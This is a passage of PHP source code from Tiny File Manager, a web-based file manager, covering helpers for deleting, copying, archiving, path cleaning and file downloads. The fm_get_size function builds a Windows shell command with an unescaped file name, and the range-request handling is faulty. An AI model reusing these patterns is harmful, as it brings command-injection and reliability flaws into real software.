                    <a href="javascript:document.getElementById(\'a-delete\').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng(\'Delete\') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm(\'<?php echo lng(\'Create archive?\'); ?>\')">
                    <a href="javascript:document.getElementById(\'a-zip\').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng(\'Zip\') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm(\'<?php echo lng(\'Create archive?\'); ?>\')">
                    <a href="javascript:document.getElementById(\'a-tar\').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng(\'Tar\') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById(\'a-copy\').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng(\'Copy\') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();

// --- END HTML ---

// Functions

/**
 * It prints the css/js files into html
 * @param key The key of the external file to print.
 */
function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception(\'Key missing in external: \' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}

/**
 * Verify CSRF TOKEN and remove after cerify
 * @param string $token
 * @return bool
 */
function verifyToken($token) 
{
    if (hash_equals($_SESSION[\'token\'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != \'.\' && $file != \'..\') {
                    if (!fm_rdelete($path . \'/\' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != \'.\' && $file != \'..\') {
                    if (!fm_rchmod($path . \'/\' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(\',\', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != \'.\' && $file != \'..\') {
                    if (!fm_rcopy($path . \'/\' . $file, $dest . \'/\' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}

/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists(\'finfo_open\')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists(\'mime_content_type\')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get(\'disable_functions\'), \'shell_exec\')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec(\'file -bi \' . $file);
        return $mime;
    } else {
        return \'--\';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header(\'Location: \' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path) {
    $path = str_replace(array(\'/\', \'\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), \'strlen\');
    $absolutes = array();
    foreach ($parts as $part) {
        if (\'.\' == $part) continue;
        if (\'..\' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, \'\/\');
    $path = str_replace(array(\'../\', \'..\\'), \'\', $path);
    $path =  get_absolute_path($path);
    if ($path == \'..\') {
        $path = \'\';
    }
    return str_replace(\'\\', \'/\', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != \'\') {
        $array = explode(\'/\', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode(\'/\', $array);
        }
        return \'\';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case \'relative\':
            return array(
                \'label\' => \'Path\',
                \'path\' => fm_enc(fm_convert_win(str_replace($root_path, \'\', $file_path)))
            );
        case \'host\':
            $relative_path = str_replace($root_path, \'\', $file_path);
            return array(
                \'label\' => \'Host Path\',
                \'path\' => fm_enc(fm_convert_win(\'/\' . $root_url . \'/\' . ltrim(str_replace(\'\\', \'/\', $relative_path), \'/\')))
            );
        case \'full\':
        default:
            return array(
                \'label\' => \'Full Path\',
                \'path\' => fm_enc(fm_convert_win($file_path))
            );
    }
}

/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, \'7.0.0\', \'<\')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr) {
    try {
        $content = @file_get_contents(\'translation.json\');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param string $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == \'WIN\');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists(\'exec\') && !ini_get(\'safe_mode\') && @exec(\'echo EXEC\') == \'EXEC\');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) && ctype_digit($size = trim(implode("
", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin && class_exists("COM")) {
        try {
            $fsobj = new COM(\'Scripting.FileSystemObject\');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}

/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array(\'B\', \'KB\', \'MB\', \'GB\', \'TB\', \'PB\', \'EB\', \'ZB\', \'YB\');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf(\'%s %s\', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get total size of directory tree.
 *
 * @param  string $directory Relative or absolute directory name.
 * @return int Total number of bytes.
 */
function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false && $directory != \'\' && file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext) {
    if ($ext == \'zip\' && function_exists(\'zip_open\')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == \'/\';
                $filenames[] = array(
                    \'name\' => $zip_name,
                    \'filesize\' => @zip_entry_filesize($zip_entry),
                    \'compressed_size\' => @zip_entry_compressedsize($zip_entry),
                    \'folder\' => $zip_folder
                    //\'compression_method\' => zip_entry_compressionmethod($zip_entry),
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == \'tar\' && class_exists(\'PharData\')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path, \'\', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, \'/\')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                \'name\' => $zip_name,
                \'filesize\' => $zip_info->getSize(),
                \'compressed_size\' => $file->getCompressedSize(),
                \'folder\' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, \'UTF-8\');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text) {
    return (strpbrk($text, \'/?%*:|"<>\') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = \'ok\')
{
    $_SESSION[FM_SESSION_ID][\'message\'] = $msg;
    $_SESSION[FM_SESSION_ID][\'status\'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match(\'//u\', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists(\'iconv\')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, \'UTF-8//IGNORE\', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map(\'fm_object_to_array\', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case \'ico\':
        case \'gif\':
        case \'jpg\':
        case \'jpeg\':
        case \'jpc\':
        case \'jp2\':
        case \'jpx\':
        case \'xbm\':
        case \'wbmp\':
        case \'png\':
        case \'bmp\':
        case \'tif\':
        case \'tiff\':
        case \'webp\':
        case \'avif\':
        case \'svg\':
            $img = \'fa fa-picture-o\';
            break;
        case \'passwd\':
        case \'ftpquota\':
        case \'sql\':
        case \'js\':
        case \'ts\':
        case \'jsx\':
        case \'tsx\':
        case \'hbs\':
        case \'json\':
        case \'sh\':
        case \'config\':
        case \'twig\':
        case \'tpl\':
        case \'md\':
        case \'gitignore\':
        case \'c\':
        case \'cpp\':
        case \'cs\':
        case \'py\':
        case \'rs\':
        case \'map\':
        case \'lock\':
        case \'dtd\':
            $img = \'fa fa-file-code-o\';
            break;
        case \'txt\':
        case \'ini\':
        case \'conf\':
        case \'log\':
        case \'htaccess\':
        case \'yaml\':
        case \'yml\':
        case \'toml\':
        case \'tmp\':
        case \'top\':
        case \'bot\':
        case \'dat\':
        case \'bak\':
        case \'htpasswd\':
        case \'pl\':
            $img = \'fa fa-file-text-o\';
            break;
        case \'css\':
        case \'less\':
        case \'sass\':
        case \'scss\':
            $img = \'fa fa-css3\';
            break;
        case \'bz2\':
        case \'zip\':
        case \'rar\':
        case \'gz\':
        case \'tar\':
        case \'7z\':
        case \'xz\':
            $img = \'fa fa-file-archive-o\';
            break;
        case \'php\':
        case \'php4\':
        case \'php5\':
        case \'phps\':
        case \'phtml\':
            $img = \'fa fa-code\';
            break;
        case \'htm\':
        case \'html\':
        case \'shtml\':
        case \'xhtml\':
            $img = \'fa fa-html5\';
            break;
        case \'xml\':
        case \'xsl\':
            $img = \'fa fa-file-excel-o\';
            break;
        case \'wav\':
        case \'mp3\':
        case \'mp2\':
        case \'m4a\':
        case \'aac\':
        case \'ogg\':
        case \'oga\':
        case \'wma\':
        case \'mka\':
        case \'flac\':
        case \'ac3\':
        case \'tds\':
            $img = \'fa fa-music\';
            break;
        case \'m3u\':
        case \'m3u8\':
        case \'pls\':
        case \'cue\':
        case \'xspf\':
            $img = \'fa fa-headphones\';
            break;
        case \'avi\':
        case \'mpg\':
        case \'mpeg\':
        case \'mp4\':
        case \'m4v\':
        case \'flv\':
        case \'f4v\':
        case \'ogm\':
        case \'ogv\':
        case \'mov\':
        case \'mkv\':
        case \'3gp\':
        case \'asf\':
        case \'wmv\':
        case \'webm\':
            $img = \'fa fa-file-video-o\';
            break;
        case \'eml\':
        case \'msg\':
            $img = \'fa fa-envelope-o\';
            break;
        case \'xls\':
        case \'xlsx\':
        case \'ods\':
            $img = \'fa fa-file-excel-o\';
            break;
        case \'csv\':
            $img = \'fa fa-file-text-o\';
            break;
        case \'bak\':
        case \'swp\':
            $img = \'fa fa-clipboard\';
            break;
        case \'doc\':
        case \'docx\':
        case \'odt\':
            $img = \'fa fa-file-word-o\';
            break;
        case \'ppt\':
        case \'pptx\':
            $img = \'fa fa-file-powerpoint-o\';
            break;
        case \'ttf\':
        case \'ttc\':
        case \'otf\':
        case \'woff\':
        case \'woff2\':
        case \'eot\':
        case \'fon\':
            $img = \'fa fa-font\';
            break;
        case \'pdf\':
            $img = \'fa fa-file-pdf-o\';
            break;
        case \'psd\':
        case \'ai\':
        case \'eps\':
        case \'fla\':
        case \'swf\':
            $img = \'fa fa-file-image-o\';
            break;
        case \'exe\':
        case \'msi\':
            $img = \'fa fa-file-o\';
            break;
        case \'bat\':
            $img = \'fa fa-terminal\';
            break;
        default:
            $img = \'fa fa-info-circle\';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array(\'ico\', \'gif\', \'jpg\', \'jpeg\', \'jpc\', \'jp2\', \'jpx\', \'xbm\', \'wbmp\', \'png\', \'bmp\', \'tif\', \'tiff\', \'psd\', \'svg\', \'webp\', \'avif\');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array(\'avi\', \'webm\', \'wmv\', \'mp4\', \'m4v\', \'ogm\', \'ogv\', \'mov\', \'mkv\');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array(\'wav\', \'mp3\', \'ogg\', \'m4a\');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        \'txt\', \'css\', \'ini\', \'conf\', \'log\', \'htaccess\', \'passwd\', \'ftpquota\', \'sql\', \'js\', \'ts\', \'jsx\', \'tsx\', \'mjs\', \'json\', \'sh\', \'config\',
        \'php\', \'php4\', \'php5\', \'phps\', \'phtml\', \'htm\', \'html\', \'shtml\', \'xhtml\', \'xml\', \'xsl\', \'m3u\', \'m3u8\', \'pls\', \'cue\', \'bash\', \'vue\',
        \'eml\', \'msg\', \'csv\', \'bat\', \'twig\', \'tpl\', \'md\', \'gitignore\', \'less\', \'sass\', \'scss\', \'c\', \'cpp\', \'cs\', \'py\', \'go\', \'zsh\', \'swift\',
        \'map\', \'lock\', \'dtd\', \'svg\', \'asp\', \'aspx\', \'asx\', \'asmx\', \'ashx\', \'jsp\', \'jspx\', \'cgi\', \'dockerfile\', \'ruby\', \'yml\', \'yaml\', \'toml\',
        \'vhost\', \'scpt\', \'applescript\', \'csx\', \'cshtml\', \'c++\', \'coffee\', \'cfm\', \'rb\', \'graphql\', \'mustache\', \'jinja\', \'http\', \'handlebars\',
        \'java\', \'es\', \'es6\', \'markdown\', \'wiki\', \'tmp\', \'top\', \'bot\', \'dat\', \'bak\', \'htpasswd\', \'pl\'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        \'application/xml\',
        \'application/javascript\',
        \'application/x-javascript\',
        \'image/svg+xml\',
        \'message/rfc822\',
        \'application/json\',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        \'license\',
        \'readme\',
        \'authors\',
        \'contributors\',
        \'changelog\',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array(\'doc\', \'docx\', \'xls\', \'xlsx\', \'pdf\', \'ppt\', \'pptx\', \'ai\', \'psd\', \'dxf\', \'xps\', \'rar\', \'odt\', \'ods\');
}

/**
 * It returns the mime type of a file based on its extension.
 * @param extension The file extension of the file you want to get the mime type for.
 * @return string|string[] The mime type of the file.
 */
function fm_get_file_mimes($extension)
{
    $fileTypes[\'swf\'] = \'application/x-shockwave-flash\';
    $fileTypes[\'pdf\'] = \'application/pdf\';
    $fileTypes[\'exe\'] = \'application/octet-stream\';
    $fileTypes[\'zip\'] = \'application/zip\';
    $fileTypes[\'doc\'] = \'application/msword\';
    $fileTypes[\'xls\'] = \'application/vnd.ms-excel\';
    $fileTypes[\'ppt\'] = \'application/vnd.ms-powerpoint\';
    $fileTypes[\'gif\'] = \'image/gif\';
    $fileTypes[\'png\'] = \'image/png\';
    $fileTypes[\'jpeg\'] = \'image/jpg\';
    $fileTypes[\'jpg\'] = \'image/jpg\';
    $fileTypes[\'webp\'] = \'image/webp\';
    $fileTypes[\'avif\'] = \'image/avif\';
    $fileTypes[\'rar\'] = \'application/rar\';

    $fileTypes[\'ra\'] = \'audio/x-pn-realaudio\';
    $fileTypes[\'ram\'] = \'audio/x-pn-realaudio\';
    $fileTypes[\'ogg\'] = \'audio/x-pn-realaudio\';

    $fileTypes[\'wav\'] = \'video/x-msvideo\';
    $fileTypes[\'wmv\'] = \'video/x-msvideo\';
    $fileTypes[\'avi\'] = \'video/x-msvideo\';
    $fileTypes[\'asf\'] = \'video/x-msvideo\';
    $fileTypes[\'divx\'] = \'video/x-msvideo\';

    $fileTypes[\'mp3\'] = \'audio/mpeg\';
    $fileTypes[\'mp4\'] = \'audio/mpeg\';
    $fileTypes[\'mpeg\'] = \'video/mpeg\';
    $fileTypes[\'mpg\'] = \'video/mpeg\';
    $fileTypes[\'mpe\'] = \'video/mpeg\';
    $fileTypes[\'mov\'] = \'video/quicktime\';
    $fileTypes[\'swf\'] = \'video/quicktime\';
    $fileTypes[\'3gp\'] = \'video/quicktime\';
    $fileTypes[\'m4a\'] = \'video/quicktime\';
    $fileTypes[\'aac\'] = \'video/quicktime\';
    $fileTypes[\'m3u\'] = \'video/quicktime\';

    $fileTypes[\'php\'] = [\'application/x-php\'];
    $fileTypes[\'html\'] = [\'text/html\'];
    $fileTypes[\'txt\'] = [\'text/plain\'];
    //Unknown mime-types should be \'application/octet-stream\'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = [\'application/octet-stream\'];
    }
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return array|null
 */
 function scan($dir = \'\', $filter = \'\') {
    $path = FM_ROOT_PATH.\'/\'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, \'\', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}

/**
* Parameters: downloadFile(File Location, File Name,
* max speed, is streaming
* If streaming - videos will show as videos, images as images
* instead of download prompt
* https://stackoverflow.com/a/13821992/1164642
*/
function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if(is_array($contentType)) {
        $contentType = implode(\' \', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng(\'Zero byte file! Aborting download\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set(\'magic_quotes_runtime\', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng(\'Cannot open file! Aborting download\'), \'error\');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header(\'Content-Description: File Transfer\');
    header(\'Expires: 0\');
    header(\'Cache-Control: must-revalidate, post-check=0, pre-check=0\');
    header(\'Pragma: public\');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = \'attachment\';

    if (strstr($_SERVER[\'HTTP_USER_AGENT\'], "MSIE")) {
        $fileName = preg_replace(\'/\./\', \'%2e\', $fileName, substr_count($fileName, \'.\') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER[\'HTTP_RANGE\'])) {
        list($a, $range) = explode("=", $_SERVER[\'HTTP_RANGE\']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

/**
 * If the theme is dark, return the text-white and bg-dark classes.
 * @return string the value of the  variable.
 */
function fm_get_theme() {
    $result = \'\';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != \'.\' && $file != \'..\') {
                    if (is_dir($path . \'/\' . $file)) {
                        if (!$this->addDir($path . \'/\' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . \'/\' . $file)) {
                        if (!$this->zip->addFile($path . \'/\' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != \'.\' && $file != \'..\') {
                    if (is_dir($path . \'/\' . $file)) {
                        if (!$this->addDir($path . \'/\' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . \'/\' . $file)) {
                        try {
                            $this->tar->addFile($path . \'/\' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Save Configuration
 */
 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            \'lang\' => \'en\',
            \'error_reporting\' => true,
            \'show_hidden\' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = \'Tiny File Manager<br>Error: Cannot load configuration\';
            if (substr($fm_url, -1) == \'/\') {
                $fm_url = rtrim($fm_url, \'/\');
                $msg .= \'<br>\';
                $msg .= \'<br>Seems like you have a trailing slash on the URL.\';
                $msg .= \'<br>Try this link: <a href="\' . $fm_url . \'">\' . $fm_url . \'</a>\';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
